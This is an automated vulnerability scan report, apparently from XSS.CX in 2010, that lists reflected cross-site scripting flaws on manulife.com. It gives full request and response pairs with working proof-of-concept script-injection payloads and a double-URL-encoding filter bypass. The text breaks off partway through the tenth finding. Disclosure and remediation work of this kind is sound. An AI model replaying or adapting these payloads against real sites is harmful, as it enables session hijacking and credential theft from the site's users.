manulife.com, XSS, CWE-79, CAPEC-86, Cross Site Scripting

XSS in manulife.com | Vulnerability Crawlker Report

Report generated by XSS.CX at Fri Dec 31 12:11:51 CST 2010.


Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html [REST URL parameter 4]

1.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html [REST URL parameter 4]

1.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html [REST URL parameter 4]

1.4. http://www.manulife.com/public/common/include/stock [lang parameter]

1.5. http://www.manulife.com/public/home/index/0,,lang=en,00.html [REST URL parameter 4]

1.6. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html [REST URL parameter 4]

1.7. http://www.manulife.com/public/products/index/0,,lang=en&navId=620000,00.html [REST URL parameter 4]

1.8. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [REST URL parameter 4]

1.9. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [cof parameter]

1.10. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [cx parameter]

1.11. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [header_search_button.x parameter]

1.12. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [header_search_button.y parameter]

1.13. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [hl parameter]

1.14. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [ie parameter]

1.15. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [lang parameter]

1.16. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [name of an arbitrarily supplied request parameter]

1.17. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [q parameter]

1.18. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [site parameter]

1.19. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [REST URL parameter 4]

1.20. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [cof parameter]

1.21. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [cx parameter]

1.22. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [header_search_button.x parameter]

1.23. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [header_search_button.y parameter]

1.24. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [hl parameter]

1.25. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [ie parameter]

1.26. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [lang parameter]

1.27. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [name of an arbitrarily supplied request parameter]

1.28. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [q parameter]

1.29. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html [site parameter]

2. Cookie without HttpOnly flag set

2.1. http://www.manulife.com/

2.2. http://www.manulife.com/public/common/include/stock

3. Cross-domain Referer leakage

3.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html

3.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html

3.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html

3.4. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html

3.5. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html

3.6. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html

4. Cross-domain script include

4.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html

4.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html

4.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html

4.4. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html

4.5. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html

4.6. http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html

5. Robots.txt file



1. Cross-site scripting (reflected)  next
There are 29 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.manulife.com/public/about/index/0,,lang=en&navId=610005,00.html [REST URL parameter 4]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610005,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ac2a%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e4947e0f83b0 was submitted in the REST URL parameter 4. This input was echoed as 1ac2a"><img src=a onerror=alert(1)>4947e0f83b0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/about/index/0,,lang1ac2a%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e4947e0f83b0=en&navId=610005,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:19 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link rel=
...[SNIP]...
<a href="http://www.manulife.com/public/about/index/0,,lang1ac2a"><img src=a onerror=alert(1)>4947e0f83b0=fr&navId=610005,00.html" >
...[SNIP]...

1.2. http://www.manulife.com/public/about/index/0,,lang=en&navId=610016,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610016,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4643%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ef41e1bb6868 was submitted in the REST URL parameter 4. This input was echoed as a4643"><img src=a onerror=alert(1)>f41e1bb6868 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/about/index/0,,langa4643%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ef41e1bb6868=en&navId=610016,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:20 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link rel=
...[SNIP]...
<a href="http://www.manulife.com/public/about/index/0,,langa4643"><img src=a onerror=alert(1)>f41e1bb6868=fr&navId=610016,00.html" >
...[SNIP]...

1.3. http://www.manulife.com/public/about/index/0,,lang=en&navId=610034,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/about/index/0,,lang=en&navId=610034,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eeae8%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9a2d9253e was submitted in the REST URL parameter 4. This input was echoed as eeae8"><img src=a onerror=alert(1)>9a2d9253e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/about/index/0,,langeeae8%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e9a2d9253e=en&navId=610034,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:18 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link rel=
...[SNIP]...
<a href="http://www.manulife.com/public/about/index/0,,langeeae8"><img src=a onerror=alert(1)>9a2d9253e=fr&navId=610034,00.html" >
...[SNIP]...

1.4. http://www.manulife.com/public/common/include/stock [lang parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/common/include/stock

Issue detail

The value of the lang request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32112"><script>alert(1)</script>38c13310174 was submitted in the lang parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/common/include/stock?lang=en32112"><script>alert(1)</script>38c13310174 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/html
Set-Cookie: ASPSESSIONIDQCQTQQCS=OKDPEIFDGCGOLPCFCOAJOKEG; path=/
Cache-control: private

<!-- Vignette V6 Fri Dec 31 12:19:18 2010 -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...
<a target = "_top" href="/public/investor/index/0,,lang=en32112"><script>alert(1)</script>38c13310174&langId=1&navId=640001&p=irol-stockquote,00.html">
...[SNIP]...

1.5. http://www.manulife.com/public/home/index/0,,lang=en,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/home/index/0,,lang=en,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a2f0%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e8c62010d308 was submitted in the REST URL parameter 4. This input was echoed as 3a2f0"><img src=a onerror=alert(1)>8c62010d308 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/home/index/0,,lang3a2f0%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e8c62010d308=en,00.html HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:56:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 18:08:11 GMT
Set-Cookie: ASPSESSIONIDQCQTQQCS=GEFPEIFDJAGBNMHCMGLBAOLB; path=/
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/home/index/0,,lang3a2f0"><img src=a onerror=alert(1)>8c62010d308=fr,00.html" >
...[SNIP]...

1.6. http://www.manulife.com/public/investor/index/0,,lang=en&navId=640003,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/investor/index/0,,lang=en&navId=640003,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc17d%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e1c14bf4cd4f was submitted in the REST URL parameter 4. This input was echoed as cc17d"><img src=a onerror=alert(1)>1c14bf4cd4f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/investor/index/0,,langcc17d%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e1c14bf4cd4f=en&navId=640003,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:20:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:31:38 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link rel=
...[SNIP]...
<a href="http://www.manulife.com/public/investor/index/0,,langcc17d"><img src=a onerror=alert(1)>1c14bf4cd4f=fr&navId=640003,00.html" >
...[SNIP]...

1.7. http://www.manulife.com/public/products/index/0,,lang=en&navId=620000,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/products/index/0,,lang=en&navId=620000,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73df2%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb355253b311 was submitted in the REST URL parameter 4. This input was echoed as 73df2"><img src=a onerror=alert(1)>b355253b311 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/products/index/0,,lang73df2%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb355253b311=en&navId=620000,00.html HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:57:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 18:08:14 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


<link rel=
...[SNIP]...
<a href="http://www.manulife.com/public/products/index/0,,lang73df2"><img src=a onerror=alert(1)>b355253b311=fr&navId=620000,00.html" >
...[SNIP]...

1.8. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b208e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e240defbe48a was submitted in the REST URL parameter 4. This input was echoed as b208e"><img src=a onerror=alert(1)>240defbe48a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /public/search/custom_search/0,,langb208e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e240defbe48a=en,00.html HTTP/1.1
Host: www.manulife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.3.10.1293816475; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD;

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:21:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:32:28 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,langb208e"><img src=a onerror=alert(1)>240defbe48a=fr,00.html" >
...[SNIP]...

1.9. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [cof parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the cof request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1095e"><script>alert(1)</script>0953faf817b was submitted in the cof parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A11095e"><script>alert(1)</script>0953faf817b&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
Expires: Fri, 31 Dec 2010 17:30:40 GMT
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>


   <link rel="al
...[SNIP]...
<a href="http://www.manulife.com/public/search/custom_search/0,,lang=fr,00.html?cx=014775219290421040826%3Adnqvla5z7vu&cof=FORID%3A11%3BNB%3A11095e"><script>alert(1)</script>0953faf817b&ie=UTF-8&site=manulife.com&hl=fr&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27" >
...[SNIP]...

1.10. http://www.manulife.com/public/search/custom_search/0,,lang=en,00.html [cx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.manulife.com
Path:   /public/search/custom_search/0,,lang=en,00.html

Issue detail

The value of the cx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98a05"><script>alert(1)</script>d7e855e4f6d was submitted in the cx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /public/search/custom_search/0,,lang=en,00.html?cx=014775219290421040826%3Adnqvla5z7vu98a05"><script>alert(1)</script>d7e855e4f6d&cof=FORID%3A11%3BNB%3A1&ie=UTF-8&site=manulife.com&hl=en&lang=1&header_search_button.x=0&header_search_button.y=0&q=%27 HTTP/1.1
Host: www.manulife.com
Proxy-Connection: keep-alive
Referer: http://www.manulife.com/public/home/index/0,,lang=en,00.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSQAQRBDD=NGBONJKCKABEDCLOGOCPGCJK; ASPSESSIONIDQCQTQQCS=JIDPEIFDBODANBJKGIAEMLLD; __utmz=65787826.1293816487.1.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=Manulife%20Financial; __utma=65787826.121022820.1293816475.1293816475.1293816475.1; __utmc=65787826; __utmb=65787826.2.10.1293816475

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 31 Dec 2010 17:19:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: ASP.NET
Content-Type: text/HTML; charset=utf-8; Charset=utf-8
